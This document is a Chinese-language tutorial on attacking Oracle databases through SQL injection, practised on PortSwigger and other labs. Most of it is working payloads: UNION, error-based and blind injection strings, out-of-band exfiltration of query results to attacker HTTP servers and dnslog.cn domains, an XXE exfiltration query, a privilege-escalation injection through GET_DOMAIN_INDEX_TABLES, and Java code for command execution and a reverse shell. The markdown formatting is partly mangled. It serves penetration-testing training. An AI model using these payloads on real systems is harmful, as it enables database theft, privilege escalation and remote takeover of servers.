前言

概述

oracle的注入相比于mysql和mssql,利用更难
由于对oracle的数据库注入接触较少,因此可以使用oracle的docker来配合练习oracle的sql语句
靶场环境推荐:

| 环境 | 地址 | | —- | —- |

| web | https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle
https://portswigger.net/web-security/all-labs
http://o1.lab.aqlab.cn:81/?id=1 |

| docker | https://github.com/ChaMd5Team/Pentest-tools/tree/master/Oracleinject |

注意

与MySQL,MSSQL一样,Oracle数据库也是关系型数据库且支持标准型SQL语句,所以注入方式和其他关系型数据库一样,不过有一点特殊,这里强调一下Oracle查询数据的特性:

  1. Oracle使用查询语句获取数据时需要跟上表名,在没有表的情况下可以使用dualdual是Oracle的一个虚拟表,用来构成select的语法规则,且Oracle保证dual里永远只有一条记录

举例:

  1. -- mysqlmssqlpostgresql中都是正确的
  2. select 1,2;
  3. -- 但是在Oracle中,必须要带上dual虚表
  4. select 1,2 from dual;

image-20211223190103007

  1. Postgresql一样,Oracle 的||是字符串连接符 ``` select 1||2 from dual; — 12
  1. ![image-20211223190145819](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990680941-e8717c67-e0f3-46c1-9c5f-57f8df7e591d.png)
  2. 3. oracle中存在`concat()`函数(用法同Mysql concat(),但只能有两个参数),聚合所有结果的连接函数`wm_concat()`函数(同mysql group_concat())

select concat(1,2) from dual; — 12 select concat(1,2,3) from dual; — ORA-00909: invalid number of arguments

  1. ```
  2. -- 创建表和添加数据
  3. CREATE TABLE SYS.test(first_name VARCHAR2(50) NOT NULL,last_name VARCHAR2(50) NOT NULL);
  4. insert into test(first_name,last_name) values ('test1','test2');
  5. insert into test(first_name,last_name) values ('test3','test4');
  6. insert into test(first_name,last_name) values ('admin','haha');
  7. select wm_concat(first_name) from test;

image-20211223195210818
4.oracle不支持堆叠查询

联合查询(UNION)注入

概述

联合查询注入,和其他关系型数据库注入方式一致,需要注入的页面有明显的回显位,其作用就是,在原来的查询条件的基础上,通过关键字 unionunion all,从而拼接恶意SQL语句,union后面的select 得到的结果将拼接到前个select的结果的后面

  • 若回显仅支持一行数据的话,让union前边正常的查询语句返回的结果为空
  • 使用union select进行拼接时,注意前后两个select语句的返回的字段数必须相同,否则无法拼接
  • union,union all区别:

  • union: 对两个结果集进行并集操作,不包括重复行,同时进行默认规则的排序

  • union all: 对两个结果集进行并集操作,包括重复行,不进行排序;

注入流程

这里记录完整的流程和语句,其他方式的注入语句类似就不再写了
和其他的UNION注入方式和步骤一样,都是

  1. 确认闭合情况
  2. 确定字段的数量
  3. 确定页面回显位
  4. 利用已知回显位查询数据
    a.查询数据库基本信息
    b.爆库名
    c.爆表名
    d.爆字段
    e.查询敏感信息

    注入语句

环境使用portswigger的靶场:https://aca31f611e47df03c0ef5e5100e400c3.web-security-academy.net/

闭合情况

  1. ' and '1'='1 -- 正常
  2. ' and '1'='0 -- 错误

得出可以使用单引号闭合
image-20211223200551361
image-20211223200642642

查询字段数

还是使用order by

  1. order by 2 -- - 正常
  2. order by 3 -- - 不正常

得出列数为2
image-20211223200744759
image-20211223200815996

确定显位

  1. union select '1','2' from dual -- -

注意:

  • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面现在了单行数据输出,我们让前边的select查询条件返回结果为空即可,也就是为啥下图的Pets前面加了个-
  • 注意一定要拼接够足够的字段数,否则SQL语句报错。PS:此方法也可作为判断前条select语句的方法之一
  • 如果union前面的查询条件返回为空的情况下,也没有标记数字,这时候一般是类型出错,导致无法显示在页面,可以将数字更改未null或者字符串格式;更改为null后不会在页面显示

可以看出显位是1和2
image-20211223201240401

查询数据

  • 探测Oracle版本 ``` select banner from v$version; select banner from v$version where banner like ‘Oracle%’; select version from v$instance;
  1. ![image-20211223201648290](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990691253-44d4ee8c-df5c-4152-bbe6-fe0d88574750.png)
  2. - **探测操作系统版本**

select banner from v$version where banner like ‘TNS%’

  1. ![image-20211223201801494](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990692457-ae5ceac2-0099-4ce8-80bf-60af55b03bd8.png)
  2. - **探测当前数据库用户**

select user from dual;

  1. ![image-20211223201858440](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990693587-a37c80e9-bc54-4728-9c36-35ee78d54de6.png)
  2. - **获取当前数据库用户权限**

select privilege from session_privs;

  1. ![image-20211223201953526](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990694572-1d25734c-0dc4-47bd-bdcf-6716b6ebbebb.png)

— 数据太多,Oracle 实现limit 使用rownum,构造between…and… select from (select t. ,rownum as no from (select from session_privs)t) where no = 5 select from (select t. ,rownum as no from (select from session_privs)t) where no between 1 and 10

  1. ![image-20211223202327433](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990696063-e45050c1-0dc3-4740-90ae-5d2e427ae17b.png)
  2. - **获取用户所拥有权限的数据库**

select distinct owner from all_tables

  1. ![image-20211223202526969](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990697429-20211a1b-1036-4557-b809-7fa0b08bd907.png)
  2. > 由于Oracle中使用 Schema 的概念将每个用户的数据进行分离,Schema 其实类似于命名空间(Namespace),默认情况下,Schema 的名称同用户名称相同。所以当前数据库为SYSTEM
  3. - **查询当前数据库中所有表名**

— 所有用户的表 select distinct table_name from all_tables where owner = ‘SYSTEM’ — 当前用户的表 select table_name from user_tables; — 包括系统表 select table_name from dba_tables where owner = ‘SYSTEM’;

  1. ![image-20211223202757357](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990698726-a3ba4ccf-0633-4998-ad79-b9d200114c35.png)
  2. - **获取表`USERS_QXLHLW`的列名**

select column_name from all_tab_columns where table_name =’USERS_QXLHLW’

  1. ![image-20211223203016136](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990701304-8abad0e8-515f-4bc5-bec0-6de122501273.png)
  2. - 获取字段值

select USERNAME_LHMQBY,PASSWORD_ROVRTF from USERS_QXLHLW

  1. ![image-20211223203139865](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990702886-47b520e6-2132-447a-91cc-ee1eae76b505.png)
  2. ## 报错注入
  3. ### 概述
  4. > 使用靶场http://o1.lab.aqlab.cn:81/?id=1
  5. 和其他的报错注入一样,在进行报错注入之前,首先要确定目标环境在web页面上是否有错误回显,通常使用`order by 大数字`,或者构造错误的sql语句来判断,介绍几种报错注入函数,其他payload也就是替换子查询的SQL语句<br />![image-20211223203552839](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990704209-12c8c41d-7866-41f3-980a-5c0367d6880e.png)
  6. ### 报错函数
  7. #### ctxsys.drithsx.sn()

select ctxsys.drithsx.sn(1,(select user from dual)) select ctxsys.drithsx.sn(1,(select table_name from (select t. ,rownum as no from (select from user_tables)t) where no between 2 and 2)) from dual; — 一次只能显示一行,所以只能一条一条看

  1. ![image-20211223203800201](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990705480-32b38951-40e3-49bf-99b0-82b367bcd500.png)

— web paylaod and ctxsys.drithsx.sn(1,(select user from dual)) = 1

  1. ![image-20211223204314455](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990707150-b9df811b-1934-411a-8d4d-276b0b6514ce.png)
  2. #### XMLType()

select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual; — web paylaod and (select upper(xmltype(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null

  1. ![image-20211223204735057](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990709077-8f45691d-1921-46f3-8b53-ba3461ef4199.png)
  2. #### dbms_xdb_version.checkin()

select dbms_xdb_version.checkin((select user from dual)) from dual

  1. ![image-20211223205329875](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990711255-06a5c1c8-0242-4757-a697-c455f45eeea6.png)

— web paylaod and (select dbms_xdb_version.checkin((select user from dual)) from dual) is null

  1. ![image-20211223205504068](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990712783-7ceef2e1-375f-4cab-868b-7b1102776a4c.png)
  2. #### dbms_xdb_version.makeversioned()

select dbms_xdb_version.makeversioned((select user from dual)) from dual — web paylaod and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null

  1. #### dbms_xdb_version.uncheckout()

select dbmsxdb_version.uncheckout((select banner from sys.v$version where rownum=1)) from dual — web paylaod and (select dbmsxdb_version.uncheckout((select banner from sys.v$version where rownum=1)) from dual) is not null

  1. #### dbms_utility.sqlid_to_sqlhash()

SELECT dbmsutility.sqlid_to_sqlhash((select banner from sys.v$version where rownum=1)) from dual — web payload and (SELECT dbmsutility.sqlid_to_sqlhash((select banner from sys.v$version where rownum=1)) from dual) is not null

  1. #### ordsys.ord_dicom.getmappingxpath()

select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like ‘Oracle%’),1,1) from dual — web payload and (select ordsys.ord_dicom.getmappingxpath((select banner from v$version where banner like ‘Oracle%’),1,1) from dual) is null

  1. #### utl_inaddr.*()
  2. **函数说明:**<br />用于取得局域网或Internet环境中的主机名和IP地址。(那岂不是也可以通过DNSLOG来判断是否存在注入了?)<br />1`utl_inaddr.get_host_address`

— 如果查询失败,则提示系统错误 select utl_inaddr.get_host_address((select user from dual)) from dual;

  1. ![image-20211223210351978](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990714182-07efa219-c3aa-4ee8-95f2-b38f48d22264.png)<br />2、`UTL_INADDR.get_host_name`

— 如果查询失败,则提示系统错误 select utl_inaddr.get_host_name((select user from dual)) from dual;

  1. ## 盲注
  2. ### 布尔盲注
  3. #### 概述
  4. Oracle 布尔盲注和Mysql盲注一样,通过页面对带入数据库永真/假条件返回的内容差异,从而判断是否可以进行布尔盲注。通常页面返回存在(true)/不存在(false)两个结果,就可以判断是否存在布尔注入了
  5. #### 注入流程
  6. 整个流程还是和union注入一样,只是盲注的过程中需要一个字符一个字符的来判断,比较费时费力,一般采用工具的来辅助
  7. 1. 确认闭合情况
  8. 1. 确定字段的数量
  9. 1. 确定页面回显位
  10. 1. 利用已知回显位查询数据<br />
  11. a.查询数据库基本信息<br />
  12. b.爆库名<br />
  13. c.爆表名<br />
  14. d.爆字段<br />
  15. e.查询敏感信息
  16. #### 常用函数
  17. 相比于union注入,主要是一些判断和切割的函数
  18. - `ascii()`
  19. - `substr()`
  20. - `length()`
  21. - `decode(a,b,c,d)` :当a=b 返回c,否则返回d
  22. - `instr(a,b)` :如果b字符串存在a中,返回ba中存在的位置,否则返回0
  23. #### 注入举例
  24. 语句都一样,只是单字符判断,举几个例子抛砖引玉吧
  25. - **探测当前数据库用户**

— 查询语句 select user from dual; — payload and ascii(substr((select user from dual),1,1))>82 — - 正常页面 and ascii(substr((select user from dual),1,1))>83 — - 不正常页面 and ascii(substr((select user from dual),1,1))=83 — - 正常页面,说明第一位是 S

  1. ![image-20211224110933740](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990715533-49166aee-fb4d-4bf8-b929-517d7fe3db20.png)
  2. - **确认数据库的长度**
  3. - 以第一个数据库为例子,确定库的长度

— 查询语句 select length(owner) from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no = 1; select length(owner) from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 1;

— payload and (select length(owner) from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no = 1) > 10 — - 正常页面 and (select length(owner) from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no = 1) > 11 — - 非正常页面 and (select length(owner) from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1) = 11 — - 正常页面

  1. 因此可以确定第一个数据库长度为11<br />![image-20211224111541217](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990717099-ad8c5029-b402-4fdb-888f-4c8408961d6e.png)
  2. - **确认第一个数据库的第一个字符**
  3. 其他字符依次猜解即可

— 查询语句 select ascii(substr((select owner from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no = 1),1,1)) from dual; select ascii(substr((select owner from (select t. ,rownum as no from (select distinct owner from all_tables)t) where no between 1 and 1),1,1)) from dual;

— payload and (select ascii(substr((select owner from (select t.* ,rownum as no from (select distinct owner from all_tables)t) where no = 1),1,1)) from dual) = 65 — -

  1. ### 时间盲注
  2. #### 概述
  3. 和布尔盲注一样,只是无法从页面返回的情况来判断,只能通过响应时间进行判断<br />流程也一样
  4. #### 常用函数
  5. -
  6. `decode(a,b,c,d)` :当a=b 返回c,否则返回d,类似mysql中的if
  7. -
  8. `case...when...then...else...end`
  9. -
  10. `DBMS_PIPE.RECEIVE_MESSAGE`
  11. #### DBMS_PIPE.RECEIVE_MESSAGE
  12. Oracle主要是使用`DBMS_PIPE.RECEIVE_MESSAGE('pipename',timeout)`函数,该函数从指定管道获取消息
  13. - **pipename**为varchar(128)的字符串,用以指定管道名称,在这里我们输入任意值即可。
  14. - **timeout**为integer的可选输入参数,用来指定等待时间。

select dbms_pipe.receive_message(‘aa’, 5) from dual;

  1. ![image-20211224112854883](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990718638-8ee84e67-0b20-446f-8a2c-ae764bc3ad55.png)<br />有了延时函数,再配合`decode`,就和其他盲注一样了
  2. #### 函数注入举例
  3. - 查询当前数据库用户

— 查询语句 select decode(ascii(substr((select user from dual),1,1)),83,dbms_pipe.receive_message(‘aa’, 5),1) from dual;

— payload and decode(ascii(substr((select user from dual),1,1)),83,dbms_pipe.receive_message(‘aa’, 5),1) is null — - 延时5秒以上,说明第一位是 S

  1. ![image-20211224113307517](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990720649-000408c0-1844-401b-ba3c-f96dae4ff58e.png)<br />也可以使用`case...when.. then...else...end`来代替decode

— 查询语句 select case when (ascii(substr((select user from dual),1,1))=83) then dbms_pipe.receive_message(‘aa’, 5) else 1 end from dual;

— payload and (case when (ascii(substr((select user from dual),1,1))=83) then dbms_pipe.receive_message(‘aa’, 5) else 1 end) = 1 — -

  1. ![image-20211224114331456](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990722298-726e6f2b-7370-41b9-a595-d1a1521f3e18.png)
  2. #### 子查询/超大表构造时间盲注
  3. 时间盲注不一定要用`DBMS_PIPE.RECEIVE_MESSAGE()`函数,当在进行笛卡尔积,或者查询系统表,子查询大表的时候也会造成数据库查询时间很慢,比如在布尔盲注中查询当前用户权限可访问的数据库,需要一个一个表示的时候,在子查询中去重就会消耗大量时间

— 查询语句 select count(*) from all_objects; select distinct owner from all_tables cross join session_privs; select distinct owner from all_tables cross join session_privs cross join user_tables;

— payload and (case when (1=1) then (select distinct owner from all_tables cross join session_privs cross join user_tables) else 1 end) = 1 — -

  1. ![image-20211224124338559](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990723255-6044484f-2a5d-45fc-8b05-8f965d2b27f4.png)
  2. ## 带外(OOB)注入
  3. ### 概述
  4. 既然是带外,就一定需要用户可访问网络的权限<br />如果数据长度太长,如数据库版本,可能会导致出错,这时候要使用带外,就可以使用`substr()`函数来截取字符串,每次取几个特定的字符即可
  5. ### 利用函数
  6. #### url_http.request()
  7. 使用`||`拼接字符外带出来,可以远程启动`HTTP`服务,或者nc远程监听某个端口

select utl_http.request(‘http://192.168.0.100:8888/?'||(select banner from v$version where banner like ‘Oracle%’)) from dual;

— payload and utl_http.request(‘http://ip:port/?'||(select banner from v$version where banner like ‘Oracle%’))=1 — -

  1. ![image-20211224125649485](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990724189-e8065d76-81f6-4c23-b231-190543b39b17.png)
  2. #### utl_inaddr.get_host_address()

select utl_inaddr.get_host_address((select user from dual)||’.u6uhyf.dnslog.cn’) from dual;

— payload and (select utl_inaddr.get_host_address((select user from dual)||’.u6uhyf.dnslog.cn’) from dual) is not null — -

  1. ![image-20211224134250563](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990725538-530a813f-664c-4ddb-aa07-ec4186aa416c.png)
  2. #### SYS.DBMS_LDAP.INIT()

select SYS.DBMS_LDAP.INIT((select user from dual)||’.22j9po.dnslog.cn’,80) from dual;

  1. ![image-20211224134227825](https://cdn.nlark.com/yuque/0/2022/png/2976988/1646990726930-e1c8a86e-2524-432b-94a2-606469394f8e.png)
  2. #### HTTPURITYPE()
  3. 可以使用http服务,或者nc创建监听,或者dnslog外带

select HTTPURITYPE(‘http://127.0.0.1:8888/?'||(select user from dual)).GETCLOB() FROM DUAL;

  1. ## 扩展
  2. ### Oracle XXE
  3. 实际上是`CVE-2014-6577`,受影响的版本:`11.2.0.3``11.2.0.4``12.1.0.1` `12.1.0.2`<br />Oracle XXE 的效果和 `UTL_http` 的效果差不多,都是将数据传输到远端服务器上。但是,由于 `extractvalue()` 函数对所有数据库用户都可以使用,不存在权限的问题,所以当在低权限没有UTL_http 权限时,这个不失为一个好方法

select extractvalue(xmltype(‘<?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE root [ <!ENTITY % remote SYSTEM “you own url/?’||(SELECT user from dual)||’”> %remote;]>’),’/l’) from dual;

  1. ### Oracle 提权漏洞
  2. 原理是 `GET_DOMAIN_INDEX_TABLES` 函数的参数存在注入。而该函数的所有者是 sys,所以通过注入就可以执行任意 sql 语句。而该函数的执行权限为 public,所以只要遇到一个 Oracle 的注入点并且存在这个漏洞的,基本上都可以提升到最高权限。

select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES( ‘1’, ‘1’, ‘DBMS _OUTPUT”.PUT(:P1);EXECUTE IMMEDIATE ‘’DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ‘’’’your own payload’’’’;END;’’;END;—‘, ‘SYS’, 0, ‘1’, 0 ) from dual;

  1. 权限提升之后就可以做很多事了,因为 Oracle 可以执行 JAVA 代码,所以在提升权限后具体怎么操作,就看各自的 JAVA 水平了。<br />这里给出几种常见的利用方式(以下均为 `your own payload` 处的代码):
  2. #### 命令执行
  3. 1、创建JAVA代码

create or replace and compile java source named “Command” as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb=””;BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+”\n”;inBr.close();in.close();return sb;}}

  1. 2、赋予代码执行权限

begin dbms_java.grant_permission( ‘’’’’’’’PUBLIC’’’’’’’’, ‘’’’’’’’SYS:java.io.FilePermission’’’’’’’’, ‘’’’’’’’<>’’’’’’’’, ‘’’’’’’’execute’’’’’’’’ );end;

  1. 3、创建函数

create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ‘’’’’’’’Command.exec(java.lang.String) return String’’’’’’’’;

  1. 4、赋予函数执行权限

grant all on cmd to public

  1. 5、执行命令

select sys.cmd(‘whoami’) from dual;

  1. #### 反弹shell
  2. 1、创建java代码

create or replace and compile java source named “shell” as import java.io.;import java.net.;public class shell{public static void run() throws Exception {Socket s = new Socket(“your own ip”, 80);Process p = Runtime.getRuntime().exec(“cmd.exe”);new T(p.getInputStream(), s.getOutputStream()).start();new T(p.getErrorStream(), s.getOutputStream()).start();new T(s.getInputStream(), p.getOutputStream()).start();}static class T extends Thread {private InputStream i;private OutputStream u;public T(InputStream in, OutputStream out) {this.u = out;this.i = in;}public void run() {BufferedReader n = new BufferedReader(new InputStreamReader(i));BufferedWriter w = new BufferedWriter(new OutputStreamWriter(u));char f[] = new char[8192];int l;try {while ((l = n.read(f, 0, f.length)) > 0) {w.write(f, 0, l);w.flush();}} catch (IOException e) {}try {if (n != null)n.close();if (w != null)w.close();} catch (Exception e) {}}}}

  1. 2、赋予代码执行权限

begin dbms_java.grant_permission( ‘’’’’’’’PUBLIC’’’’’’’’, ‘’’’’’’’SYS:java.net.SocketPermission’’’’’’’’, ‘’’’’’’’<>’’’’’’’’, ‘’’’’’’’*’’’’’’’’ );end;

  1. 3、创建函数

create or replace function reversetcp RETURN VARCHAR2 as language java name ‘’’’’’’’shell.run() return String’’’’’’’’;

  1. 4、赋予函数执行权限

grant all on reversetcp to public

  1. 5、执行命令

select sys.reversetcp from dual;

```